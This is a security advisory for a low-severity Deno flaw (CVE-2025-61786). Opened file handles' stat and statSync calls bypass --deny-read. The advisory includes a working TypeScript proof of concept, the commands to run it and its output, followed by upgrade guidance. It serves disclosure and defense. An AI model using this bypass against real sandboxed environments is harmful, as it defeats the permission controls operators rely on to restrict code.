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GHSA-qq26-84mh-26j9 CVE-2025-61786

Deno's --deny-read check does not prevent permission bypass

Low crates.io
Severity
3.3 / 10
Low · CVSS 3.1
Exploit chance (EPSS)
0.20%
Chance of exploitation in the next 30 days. Higher than 9.87% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
Fix
2.5.3
Upgrade deno to this version or later

Description

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Affected versions

crates.io

PackageVulnerableFixed in
deno
< 2.5.3
2.5.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

deno crates.io → 2.5.3

cargo
cargo update -p deno --precise 2.5.3

Severity breakdown

CVSS 3.1 3.3

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-x2qc-cmh9-f4hf
Deno: Denial of service via non-ASCII bytes in WebSocket response headers
Medium Also affects deno
GHSA-8xpq-cjcf-3wh9
Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)
High Also affects deno
GHSA-968w-xfqw-vp9q
Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions
Medium Also affects deno
GHSA-v8fw-85r8-5m23
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks
Medium Also affects deno
GHSA-9xg4-qhm4-g43w
Deno: Miller-Rabin Primality Test Allows Zero Rounds
High Also affects deno
GHSA-7xh3-mhg9-jcw8
Deno: Command Injection via spawnSync & spawn on Windows
High Also affects deno
GHSA-4c8g-jvcx-v4hv
Deno: process.loadEnvFile() bypasses env permission checks and mutates process.env with only read access
Medium Also affects deno
GHSA-83pc-3rw9-qpwj
Deno: WebSocket API sandbox bypass via missing post-DNS check
Medium Also affects deno
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